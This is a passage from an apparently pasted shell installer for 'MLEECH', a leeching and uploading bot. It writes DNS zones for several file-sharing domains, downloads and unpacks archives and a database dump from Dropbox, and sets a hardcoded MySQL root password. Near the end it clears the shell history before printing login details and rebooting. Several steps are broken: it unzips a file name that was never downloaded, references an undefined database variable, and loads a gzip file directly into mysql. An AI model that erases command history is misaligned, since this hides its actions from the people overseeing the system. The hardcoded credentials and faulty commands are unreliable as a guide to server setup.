  695. wjunction.eu. IN MX 10 mx.zohomail.com.
  696. wjunction.eu. IN MX 20 mx2.zohomail.com." >> /var/named/wjunction.eu.hosts
  697.  
  698. touch /var/named/yfile.net.hosts
  699. echo "yfile.net. IN A $_MyIP
  700. www.yfile.net. IN A $_MyIP
  701. ns1.yfile.net. IN A $_MyIP
  702. ns2.yfile.net. IN A $_MyIP
  703. yfile.net. IN NS ns1.yfile.net.
  704. yfile.net. IN NS ns2.yfile.net.
  705. yfile.net. IN MX 10 mx.zohomail.com.
  706. yfile.net. IN MX 20 mx2.zohomail.com." >> /var/named/yfile.net.hosts
  707.  
  708. #content
  709. cd /home
  710. wget https://www.dropbox.com/s/ken5jjpckj6whbf/bokep.zip
  711. unzip bokep.zip
  712. wget https://www.dropbox.com/s/ymq2sxlc3mfc2n5/fisika.zip
  713. unzip fisika.zip
  714. wget https://www.dropbox.com/s/jcduu9vvcn5c700/ganool.zip
  715. unzip ganool.zip
  716.  
  717. wget https://www.dropbox.com/s/thkdcb4q9npje2e/hotfile.zip
  718. unzip hotfile.pw
  719. MyUSER3="root"
  720. MyPASS3="snowman"
  721. HostName3="localhost"
  722. dbName3="hotfile"
  723. mysql -u $MyUSER3 -h $HostName3 -p$MyPASS3 -Bse "CREATE DATABASE $dbName;"
  724. wget https://www.dropbox.com/s/t4xwuu3tne69jp2/hotfile.sql.gz
  725. mysqladmin -u root password snowman
  726. mysql -uroot -psnowman hotfile < hotfile.sql.gz
  727.  
  728. wget https://www.dropbox.com/s/z1asyhqewe833ky/wjunction.zip
  729. unzip wjunction.zip
  730.  
  731. wget https://www.dropbox.com/s/sn3vorjbfckddih/yfile.zip
  732. unzip yfile.zip
  733.  
  734. cat /dev/null > ~/.bash_history && history -c
  735. echo ""
  736. echo ""
  737. echo "MLEECH Auto Lecching and Uploading Bot Details"
  738. echo ""
  739. echo "MLEECH Login Details"
  740. echo "MLEECH Admin : http://$_MyIP/mleech/admin/"
  741. echo "Username : $mb_username"
  742. echo "Password : $mb_password"
  743. echo ""
  744. echo "FTP Details"
  745. echo "Host: $_MyIP"
  746. echo "Port: 21"
  747. echo "Post"
  748. echo "Username : post$mb_username"
  749. echo "Password : $mb_password"
  750. echo ""
  751. echo "Host: $_MyIP"
  752. echo "Port: 21"
  753. echo "Data"
  754. echo "Username : data$mb_username"
  755. echo "Password : $mb_password"
  756. echo ""
  757. echo "MLEECH tutorial http://mleech.com/tutorial"
  758. echo "If you need any help please contact us via";
  759. echo "Skype: mleechadmin";
  760. echo "email: admin@mleech.com";
  761. echo ""
  762. echo "Thanks & Regards"
  763. echo ""
  764. echo ""
  765. echo "MLEECH Sucessfully Installed";
  766. reboot
  767. }
  768.  
  769.  
  770.  
  771. pre_install
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement